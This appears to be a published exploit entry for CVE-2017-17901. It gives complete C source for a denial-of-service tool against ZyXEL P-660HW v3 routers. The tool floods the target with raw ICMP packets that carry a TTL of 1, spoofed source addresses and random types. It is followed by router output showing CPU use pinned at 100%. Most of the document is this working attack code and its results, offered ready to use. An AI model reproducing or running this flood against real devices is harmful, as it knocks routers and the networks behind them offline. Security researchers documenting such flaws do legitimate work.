ZyXEL P-660HW TTL Expiry Denial Of Service

Related Vulnerabilities: CVE-2017-17901  
Publish Date: 26 Dec 2017
                ################
#Exploit Title: ZyXEL TTL Expiry Denial of Service
CVE: CVE-2017-17901
#CWE: CWE-400
#Exploit Author: Hosein Askari 
#Vendor HomePage: https://www.zyxel.com/
#Version : v3
#Tested on: ZyXEL P-660HW
#Category: Network Appliance
#Author Mail : hosein.askari@aol.com
#description: According to RFC 791, the router should destroy any datagram with value of less than or equal to one. ZyXEL P-660HW v3 devices allow remote attackers to cause a denial of service (CPU consumption) via
 a flood of IP packets with a TTL of 1.
#####################
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/time.h>
#include <pwd.h>
#include <time.h>
#include <sys/utsname.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>
void banner(void) {
        
  printf("TTL Expiry ZyXEL\n");
  printf("Author: Hosein Askari");
 }
void usage(const char *progname) {
  printf("use : ./ZeXEL RouterIP count\n");
}
int attack( const char *name, unsigned int port, struct sockaddr_in *addr ) {
  struct hostent *host;
  memset(addr,0,sizeof(struct sockaddr_in));
  addr->sin_family = AF_INET;
  addr->sin_addr.s_addr = inet_addr(name);
  if (addr->sin_addr.s_addr == -1) {
  if (( host = gethostbyname(name) ) == NULL )  {
  fprintf(stderr,"unknown host\n",name);
  return(-1);
  }
  addr->sin_family = host->h_addrtype;
  memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  }
  addr->sin_port = htons(port);
  return(0);
}
unsigned short in_cksum(addr, len)
  u_short *addr;
  int len;
{
  register int nleft = len;
  register u_short *j = addr;
  register int sum = 0;
  u_short answer = 0;
  while (nleft > 1)  {
        sum += *j++;
        nleft -= 2;
}
  if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)j ;
        sum += answer;
}
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);                 
  answer = ~sum;                      
  return(answer);
}
int func(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr) {
  unsigned char  *packet;
  struct iphdr   *ip;
  struct icmphdr *icmp;
  int rc;
  packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);

  ip->ihl = 5;
  ip->version = 4;
  ip->tos = 4;
  ip->id = htons(1234);
  ip->frag_off = htons(0x2000);
  ip->tot_len = 0;
  ip->ttl = 1;
  ip->protocol = IPPROTO_ICMP;
  ip->saddr = rand() % 446674540;
  ip->daddr = dest_addr->sin_addr.s_addr;
  ip->check = in_cksum(ip, sizeof(struct iphdr));

  icmp->type = rand() % 18;
  icmp->code = rand() % 15;
  icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + 1,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); }
  free(packet);
  return(0);
}
int main(int argc, char **argv) {
  struct sockaddr_in dest_addr;
  unsigned int i,sock;
  unsigned long src_addr;
  banner();
  if ((argc != 3)) {
  usage(argv[0]);
  return(-1);
}

 if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  fprintf(stderr,"run with root privilege\n");
  return(-1);
}
 src_addr = dest_addr.sin_addr.s_addr;
  if (attack(argv[1],0,&dest_addr) == -1) { return(-1); }
  for (i = 0;i < atoi(argv[2]);i++) {
  if (func(sock,rand() % 4000000,&dest_addr) == -1) {
  fprintf(stderr,"Error\n");
  return(-1);
      }
   }
  
}
####################
ras> sys cpu display
CPU usage status:
  baseline 2106307 ticks
 sec  ticks  util    sec  ticks  util    sec  ticks  util    sec  ticks  util
  0 1712258  18.70    1 1730816  17.82    2 1738596  17.45    3 1715513  18.55
  4 1529073  27.40    5       0 100.00    6       0 100.00    7       0 100.00
  8       0 100.00    9       0 100.00   10  177665  91.56   11 1418797  32.64
 12       0 100.00   13       0 100.00   14       0 100.00   15       0 100.00
 16       0 100.00   17       0 100.00   18       0 100.00   19       0 100.00
 20       0 100.00   21       0 100.00   22       0 100.00   23       0 100.00
 24       0 100.00   25       0 100.00   26       0 100.00   27       0 100.00
 28       0 100.00   29       0 100.00   30       0 100.00   31       0 100.00
 32       0 100.00   33       0 100.00   34       0 100.00   35       0 100.00
 36       0 100.00   37       0 100.00   38       0 100.00   39       0 100.00
 40       0 100.00   41       0 100.00   42       0 100.00   43       0 100.00
 44       0 100.00   45       0 100.00   46       0 100.00   47       0 100.00
 48       0 100.00   49       0 100.00   50       0 100.00   51       0 100.00
 52       0 100.00   53       0 100.00   54       0 100.00   55       0 100.00
 56       0 100.00   57       0 100.00   58       0 100.00   59       0 100.00
 60  758577  63.98   61  700450  66.74   62       0 100.00 

<p>